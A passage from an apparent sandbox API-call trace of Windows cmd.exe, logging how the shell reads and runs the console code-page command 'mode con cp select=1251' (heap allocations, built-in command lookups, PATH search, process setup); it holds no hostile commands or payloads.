(_FileHandle=0) returned 0x240 [0299.871] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.871] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0299.871] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.871] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.871] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0299.871] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.871] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.871] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0299.871] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.871] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.871] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0299.871] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.871] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.871] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0299.872] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.872] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.872] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0299.872] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.872] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.872] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0299.872] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.872] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.872] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0299.872] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.872] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.872] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0299.872] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.872] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.872] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0299.872] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.872] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.872] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0299.872] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.872] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.872] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0299.873] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.873] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.873] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0299.873] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.873] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.873] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0299.873] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.873] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.873] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0299.873] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.873] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.873] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0299.874] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.874] GetFileType (hFile=0x240) returned 0x3 [0299.874] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.874] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.874] _get_osfhandle (_FileHandle=1) returned 0x24c [0299.874] GetFileType (hFile=0x24c) returned 0x3 [0299.874] _get_osfhandle (_FileHandle=1) returned 0x24c [0299.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0299.874] WriteFile (in: hFile=0x24c, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x217b1bf5f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0x217b1bf5f8*=0x18, lpOverlapped=0x0) returned 1 [0299.874] GetProcessHeap () returned 0x21776cf0000 [0299.874] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x4012) returned 0x21776cf8bb0 [0299.874] GetProcessHeap () returned 0x21776cf0000 [0299.874] RtlFreeHeap (HeapHandle=0x21776cf0000, Flags=0x0, BaseAddress=0x21776cf8bb0) returned 1 [0299.875] _wcsicmp (_String1="mode", _String2=")") returned 68 [0299.875] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0299.875] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0299.875] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0299.875] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0299.875] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0299.875] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0299.875] GetProcessHeap () returned 0x21776cf0000 [0299.875] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0xb0) returned 0x21776cf6e30 [0299.875] GetProcessHeap () returned 0x21776cf0000 [0299.875] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x1a) returned 0x21776cf6c60 [0299.876] GetProcessHeap () returned 0x21776cf0000 [0299.876] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x38) returned 0x21776cf6ef0 [0299.876] GetConsoleOutputCP () returned 0x1b5 [0301.035] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff67d04fbb0 | out: lpCPInfo=0x7ff67d04fbb0) returned 1 [0301.035] SetThreadUILanguage (LangId=0x0) returned 0x409 [0301.881] GetConsoleTitleW (in: lpConsoleTitle=0x217b1bf440, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0302.206] malloc (_Size=0xffce) returned 0x21776ee0840 [0302.206] ??_V@YAXPEAX@Z () returned 0x21776ee0840 [0302.206] malloc (_Size=0xffce) returned 0x21776ef0820 [0302.207] ??_V@YAXPEAX@Z () returned 0x21776ef0820 [0302.207] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0302.207] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0302.207] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0302.207] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0302.207] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0302.207] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0302.207] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0302.207] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0302.207] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0302.207] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0302.207] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0302.207] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0302.207] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0302.207] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0302.207] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0302.207] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0302.207] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0302.207] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0302.207] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0302.207] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0302.207] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0302.208] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0302.208] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0302.208] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0302.208] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0302.208] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0302.208] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0302.208] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0302.208] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0302.208] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0302.208] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0302.208] _wcsicmp (_String1="mode", _String2="START") returned -6 [0302.208] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0302.208] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0302.208] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0302.208] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0302.208] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0302.208] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0302.208] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0302.208] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0302.208] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0302.208] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0302.208] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0302.208] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0302.208] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0302.208] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0302.208] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0302.208] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0302.208] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0302.208] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0302.208] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0302.208] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0302.208] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0302.208] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0302.208] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0302.208] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0302.208] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0302.208] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0302.208] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0302.208] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0302.209] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0302.209] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0302.209] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0302.209] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0302.209] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0302.209] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0302.209] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0302.209] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0302.209] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0302.209] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0302.209] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0302.209] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0302.209] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0302.209] _wcsicmp (_String1="mode", _String2="START") returned -6 [0302.209] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0302.209] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0302.209] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0302.209] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0302.209] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0302.209] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0302.209] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0302.209] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0302.209] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0302.209] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0302.209] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0302.209] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0302.209] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0302.209] ??_V@YAXPEAX@Z () returned 0x1 [0302.209] GetProcessHeap () returned 0x21776cf0000 [0302.209] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0xffde) returned 0x21776cf8bb0 [0302.210] GetProcessHeap () returned 0x21776cf0000 [0302.210] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x42) returned 0x21776d08ba0 [0302.210] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0302.210] malloc (_Size=0xffce) returned 0x21776ef0820 [0302.210] ??_V@YAXPEAX@Z () returned 0x21776ef0820 [0302.210] GetProcessHeap () returned 0x21776cf0000 [0302.210] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x1ffac) returned 0x21776d08bf0 [0302.212] SetErrorMode (uMode=0x0) returned 0x0 [0302.212] SetErrorMode (uMode=0x1) returned 0x0 [0302.212] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x21776d08c00, lpFilePart=0x217b1becc0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x217b1becc0*="system32") returned 0x13 [0302.212] SetErrorMode (uMode=0x0) returned 0x1 [0302.212] GetProcessHeap () returned 0x21776cf0000 [0302.212] RtlReAllocateHeap (Heap=0x21776cf0000, Flags=0x0, Ptr=0x21776d08bf0, Size=0x42) returned 0x21776d08bf0 [0302.212] GetProcessHeap () returned 0x21776cf0000 [0302.212] RtlSizeHeap (HeapHandle=0x21776cf0000, Flags=0x0, MemoryPointer=0x21776d08bf0) returned 0x42 [0302.212] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0302.212] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0302.212] GetProcessHeap () returned 0x21776cf0000 [0302.212] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x1b4) returned 0x21776d08c50 [0302.212] GetProcessHeap () returned 0x21776cf0000 [0302.212] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x358) returned 0x21776d08e10 [0302.217] GetProcessHeap () returned 0x21776cf0000 [0302.217] RtlReAllocateHeap (Heap=0x21776cf0000, Flags=0x0, Ptr=0x21776d08e10, Size=0x1b6) returned 0x21776d08e10 [0302.217] GetProcessHeap () returned 0x21776cf0000 [0302.217] RtlSizeHeap (HeapHandle=0x21776cf0000, Flags=0x0, MemoryPointer=0x21776d08e10) returned 0x1b6 [0302.217] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0302.217] GetProcessHeap () returned 0x21776cf0000 [0302.217] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0xe8) returned 0x21776d08fe0 [0302.217] GetProcessHeap () returned 0x21776cf0000 [0302.217] RtlReAllocateHeap (Heap=0x21776cf0000, Flags=0x0, Ptr=0x21776d08fe0, Size=0x7e) returned 0x21776d08fe0 [0302.217] GetProcessHeap () returned 0x21776cf0000 [0302.217] RtlSizeHeap (HeapHandle=0x21776cf0000, Flags=0x0, MemoryPointer=0x21776d08fe0) returned 0x7e [0302.218] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0302.218] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x217b1bea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x217b1bea30) returned 0x21776d09070 [0302.218] GetProcessHeap () returned 0x21776cf0000 [0302.218] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x0, Size=0x28) returned 0x21776cf6a70 [0302.218] FindClose (in: hFindFile=0x21776d09070 | out: hFindFile=0x21776d09070) returned 1 [0302.218] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x217b1bea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x217b1bea30) returned 0x21776d09070 [0302.219] GetProcessHeap () returned 0x21776cf0000 [0302.219] RtlReAllocateHeap (Heap=0x21776cf0000, Flags=0x0, Ptr=0x21776cf6a70, Size=0x8) returned 0x21776cf6a70 [0302.219] FindClose (in: hFindFile=0x21776d09070 | out: hFindFile=0x21776d09070) returned 1 [0302.219] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0302.219] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0302.219] ??_V@YAXPEAX@Z () returned 0x1 [0302.219] GetConsoleTitleW (in: lpConsoleTitle=0x217b1befb0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0302.798] GetProcessHeap () returned 0x21776cf0000 [0302.798] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x21c) returned 0x21776d09070 [0302.798] GetConsoleTitleW (in: lpConsoleTitle=0x21776d09080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0303.584] GetProcessHeap () returned 0x21776cf0000 [0303.584] RtlReAllocateHeap (Heap=0x21776cf0000, Flags=0x0, Ptr=0x21776d09070, Size=0xaa) returned 0x21776d09070 [0303.584] GetProcessHeap () returned 0x21776cf0000 [0303.584] RtlSizeHeap (HeapHandle=0x21776cf0000, Flags=0x0, MemoryPointer=0x21776d09070) returned 0xaa [0303.584] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0304.591] GetProcessHeap () returned 0x21776cf0000 [0304.591] RtlFreeHeap (HeapHandle=0x21776cf0000, Flags=0x0, BaseAddress=0x21776d09070) returned 1 [0304.591] InitializeProcThreadAttributeList (in: lpAttributeList=0x217b1beed0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x217b1bedc0 | out: lpAttributeList=0x217b1beed0, lpSize=0x217b1bedc0) returned 1 [0304.591] UpdateProcThreadAttribute (in: lpAttributeList=0x217b1beed0, dwFlags=0x0, Attribute=0x60001, lpValue=0x217b1bedac, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x217b1beed0, lpPreviousValue=0x0) returned 1 [0304.591] GetStartupInfoW (in: lpStartupInfo=0x217b1bee60 | out: lpStartupInfo=0x217b1bee60*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x240, hStdOutput=0x24c, hStdError=0x24c)) [0304.591] GetProcessHeap () returned 0x21776cf0000 [0304.591] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x20) returned 0x21776d09070 [0304.591] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0304.591] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0304.591] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", 